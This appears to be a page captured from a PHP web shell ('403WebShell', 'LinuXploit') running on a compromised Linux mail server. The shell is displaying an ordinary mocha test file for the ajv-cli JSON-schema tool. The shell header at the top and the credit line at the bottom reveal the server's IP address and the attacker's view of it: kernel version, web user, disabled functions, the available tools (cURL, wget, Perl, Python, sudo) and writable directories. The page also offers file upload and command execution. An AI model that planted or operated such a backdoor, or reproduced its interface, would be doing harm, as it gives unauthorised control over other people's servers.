Uname:Linux mail.sarafai.ru 6.1.0-43-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.162-1 (2026-02-08) x86_64

403WebShell
403Webshell
Server IP : 82.148.16.210  /  Your IP : 216.73.217.139
Web Server : nginx/1.29.5
System : Linux mail.sarafai.ru 6.1.0-43-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.162-1 (2026-02-08) x86_64
User : www-data ( 33)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /srv/projects/env4/src/dev/frontend3/node_modules/table/node_modules/ajv-cli/test/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /srv/projects/env4/src/dev/frontend3/node_modules/table/node_modules/ajv-cli/test/test.spec.ts
import cli from "./cli"
import assert = require("assert")
import type {DefinedError} from "ajv"

describe("test", function () {
  this.timeout(10000)

  describe("test valid data", () => {
    it("should pass if expected result is valid", (done) => {
      cli("test -s test/schema -d test/valid_data --valid", (error, stdout, stderr) => {
        assert.strictEqual(error, null)
        assertNoErrors(stdout, 1, /\spassed/)
        assert.strictEqual(stderr, "")
        done()
      })
    })

    it("should pass multiple files if expected result is valid", (done) => {
      cli('test -s test/schema -d "test/valid*.json" --valid', (error, stdout, stderr) => {
        assert.strictEqual(error, null)
        assertNoErrors(stdout, 2, /\spassed/)
        assert.strictEqual(stderr, "")
        done()
      })
    })

    it("should fail if expected result is invalid", (done) => {
      cli("test -s test/schema -d test/valid_data --invalid", (error, stdout, stderr) => {
        assert(error instanceof Error)
        assertNoErrors(stderr, 1, /\sfailed/)
        assert.strictEqual(stdout, "")
        done()
      })
    })

    it("should fail multiple files if expected result is invalid", (done) => {
      cli('test -s test/schema -d "test/valid*.json" --invalid', (error, stdout, stderr) => {
        assert(error instanceof Error)
        assertNoErrors(stderr, 2, /\sfailed/)
        assert.strictEqual(stdout, "")
        done()
      })
    })
  })

  describe("test invalid data", () => {
    it("should pass if expected result is invalid", (done) => {
      cli(
        "test -s test/schema -d test/invalid_data --invalid --errors=line",
        (error, stdout, stderr) => {
          assert.strictEqual(error, null)
          assertRequiredErrors(stdout, 1, /\spassed/)
          assert.strictEqual(stderr, "")
          done()
        }
      )
    })

    it("should pass if expected result is invalid (valid=false)", (done) => {
      cli(
        "test -s test/schema -d test/invalid_data --valid=false --errors=line",
        (error, stdout, stderr) => {
          assert.strictEqual(error, null)
          assertRequiredErrors(stdout, 1, /\spassed/)
          assert.strictEqual(stderr, "")
          done()
        }
      )
    })

    it("should pass multiple files if expected result is invalid", (done) => {
      cli(
        'test -s test/schema -d "test/invalid*.json" --invalid --errors=line',
        (error, stdout, stderr) => {
          assert.strictEqual(error, null)
          assertRequiredErrors(stdout, 2, /\spassed/)
          assert.strictEqual(stderr, "")
          done()
        }
      )
    })

    it("should fail if expected result is valid", (done) => {
      cli(
        "test -s test/schema -d test/invalid_data --valid --errors=line",
        (error, stdout, stderr) => {
          assert(error instanceof Error)
          assertRequiredErrors(stderr, 1, /\sfailed/)
          assert.strictEqual(stdout, "")
          done()
        }
      )
    })

    it("should fail multiple files if expected result is valid", (done) => {
      cli(
        'test -s test/schema -d "test/invalid*.json" --valid --errors=line',
        (error, stdout, stderr) => {
          assert(error instanceof Error)
          assertRequiredErrors(stderr, 2, /\sfailed/)
          assert.strictEqual(stdout, "")
          done()
        }
      )
    })
  })

  describe("test valid and invalid data", () => {
    it("should pass valid, fail invalid and return error if expected result is valid", (done) => {
      cli(
        "test -s test/schema -d test/valid_data -d test/invalid_data --valid --errors=line",
        (error, stdout, stderr) => {
          assert(error instanceof Error)
          assertNoErrors(stdout, 1, /\spassed/)
          assertRequiredErrors(stderr, 1, /\sfailed/)
          done()
        }
      )
    })

    it("should fail valid, pass invalid and return error if expected result is invalid", (done) => {
      cli(
        "test -s test/schema -d test/valid_data -d test/invalid_data --invalid --errors=line",
        (error, stdout, stderr) => {
          assert(error instanceof Error)
          assertNoErrors(stderr, 1, /\sfailed/)
          assertRequiredErrors(stdout, 1, /\spassed/)
          done()
        }
      )
    })
  })
})

function assertNoErrors(out: string, count: number, regexp: RegExp): void {
  const lines = out.split("\n")
  assert.strictEqual(lines.length, count + 1)
  for (let i = 0; i < count; i++) assert(regexp.test(lines[i]))
}

function assertErrors(out: string, count: number, regexp: RegExp): DefinedError[][] {
  const lines = out.split("\n")
  assert.strictEqual(lines.length, count * 2 + 1)
  const results: DefinedError[][] = []
  for (let i = 0; i < count; i += 2) {
    assert(regexp.test(lines[i]))
    results.push(JSON.parse(lines[i + 1]))
  }
  return results
}

function assertRequiredErrors(out: string, count: number, regexp: RegExp, schemaRef = "#"): void {
  const results = assertErrors(out, count, regexp)
  results.forEach((errors) => {
    const err = errors[0]
    assert.strictEqual(err.keyword, "required")
    assert.strictEqual(err.instancePath, "/0/dimensions")
    assert.strictEqual(err.schemaPath, schemaRef + "/items/properties/dimensions/required")
    assert.deepStrictEqual(err.params, {missingProperty: "height"})
  })
}

Youez - 2016 - github.com/yon3zu
LinuXploit